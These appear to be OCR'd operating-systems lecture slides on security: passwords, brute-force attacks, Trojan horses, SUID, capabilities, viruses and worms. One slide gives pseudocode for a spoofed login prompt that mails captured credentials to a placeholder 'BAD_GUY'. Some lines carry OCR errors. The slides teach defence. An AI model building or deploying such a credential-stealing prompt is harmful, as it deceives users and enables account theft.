Security

CS 537 - Introduction to Operating Systems

Issues

Modern systems allow multiple users access
to a computer

Distributed file systems allow users to try
and access each others files

Internet allows communication across
public lines (or even wireless)

— these lines can be “tapped”

Protection

Physical protection
— the most secure system is one inside a vault
with guards outside and no connection to the
outside world
Software protection

— using authentication, access lists, encryption,
etc. to protect a system

Without physical protection, software does
no good

We will concern ourselves with software




Mechanism & Policy

* Mechanism
— basic primitives
— how something is done
 Policy
— how primitives are used to implement
functionality
— what will be done
* For a given mechanism, the policy at
different locations may differ

Mechanism & Policy

* An example
— mechanism: capabilities list
« tells which users can access which resources
— policy at one location:
« all users on system have read access to a file

— policy at a different location:

* no one but creator of file has any access to a file

Design Principles

e Public Design

— don’t make security algorithms secret

— bad guys are going to figure it out eventually

— no one but bad guys will know how to stop it

* Default - No Access

— people will complain if they don’t have enough

access - not the other way around

* Minimum Privilege

— give user just enough access to accomplish a

task - no more




Design Principles

* Simple, Uniform Mechanism
— complexity leads to bugs
— policy can be difficult to implement
— make things as simple as possible
» Appropriate Measures
— what’s the cost to a hacker?
— what’s the cost if system is hacked?

— if rewards don’t match effort, system will be
left alone

Authentication

* Almost all systems rely on identifying a user
to enforce protection

— can’t enforce a policy without knowing who
wants access

— access can be to files, to computers, to
programs, etc.

* Most systems use login names and
passwords to identify users

* There are other methods
— what?

Root Access

* Most systems have a system administrator
that can do whatever they want
— Unix calls this the root user

* There are also programs that run with root
access
— password programs, mail programs, etc.

* If a hacker can get root access, they can get
almost any information they want




Logins & Passwords

Login names indicate who wants access

Passwords confirm user is who they claim
to be

This is the most common method of user
authentication

Keeping a password secret is critical

Selecting good passwords is critical

Brute Force Attack

a.k.a. dictionary attack
— just try to guess everything
Put delay between attempts

— 2 second delay after a wrong guess means more
computing power won’t help

Don’t allow common words for passwords
— this means common names as well

Try to run common cracker on a password
before accepting it

Passwords

Could have the system assign a random
password to a user

— may be hard for the user to remember

Make the user change passwords frequently

— user may switch between 2 passwords

* not much more secure

— user may write down password to remember it

Best thing to do is require the user to select
a good password and leave it alone




Trojan Horse

* Write a program that looks like “good guy”
— make it look like a login prompt
* User enters their login name and password
» Get a message saying incorrect password
— user thinks they typed it wrong
* E-mail login name and password to bad guy

* Exit the program and return to the real login
prompt

Trojan Horse

print(“login: );

name = readLine();

turnOffEchoing();

print(“Password: “);

password = readLine();
sendMail(BAD_GUY, name, password);
print(“Login Incorrect”);

exit();

Trojan Horse

* Many other forms of Trojan horse program

— create a new copy of /s that does something
malicious but still performs /s function
* requires previous access to the file system

« if the user running [s is root, can really do some

damage

— pretend to be a different computer and give

false information out to user logging in




Challenge Response

User challenges the system

System gives back a response verifying it is
the user

User then tries to login

— knows it is dealing with the real thing

This works well for accessing remote
computers

— requires some type of encryption

— more on this later

SUID

Very powerful software primitive
Allows user to change identity temporarily

— identity changes to that of the owner of the
program being executed

Most common identity to change to is root

— this means these programs must be very
carefully written

— otherwise a user can do terrible things
Still keep track of who the user really is
Each file has another access bit called seruid

SUID

Assume an /s command produces the following

access owner name
_ TWX WX TWX mattmee myProg
S WX root mailProg

Now assume mattmcce runs myProg which has the
following code in it

n = fork():

if(n==0) {

exec(“mailProg”, ...);

)
Also assume that all of the mail files are in a protected
directory
Now mailProg can access all of the mail files and get the
mail for mattmec




Capabilities

A slightly different approach than access
lists

— recall access lists give rights of each user for
each resource

Everything, including files, is considered an

object

Each user has a set of capabilities they can

perform on an object

These capabilities can be transferred

between users

Capabilities

Capabilities for process A on object X

read, execute

object X

oIf object X is an executable program, it may have capabilities
of it’s own

-- in this way, A can have access to resources it might not otherwise
be able to

Capabilities

To make this work, only the operating
system can modify and create capabilities

— otherwise users could give them selves
excessive rights




General Attacks

* Interruption

— stops a user from getting work done
* Interception

— grab data in transfer and read it
* Modification

— change data in transit to give false info

Fabrication

— pretend to be someone else

Specific Attacks

¢ trap door
— secret entrance into a system

— doing this in the compiler can prevent the source code from
showing what’s going on
« Ken Thompson’s famous trap door compiler
war games

logic bomb

— amalicious program set to go off at a certain time
— ping a popular server at a specific time

trojan horse

— disguise a bad program as a good one
denial of service

— send lots of messages to a particular server until it is overloaded
and can no longer respond to legitamate requests

Specific Attacks

* viruses

additional code added to existing programs
— causes these common programs to do something malicious

— often they are capable of “spreading” themselves to other programs
and other computers

— Michelangelo virus
worms
— stand-alone programs that repeatedly spawns itself
— uses tremendous system resources
¢ slows machines down
— they can spread very quickly
— Robert Morris example




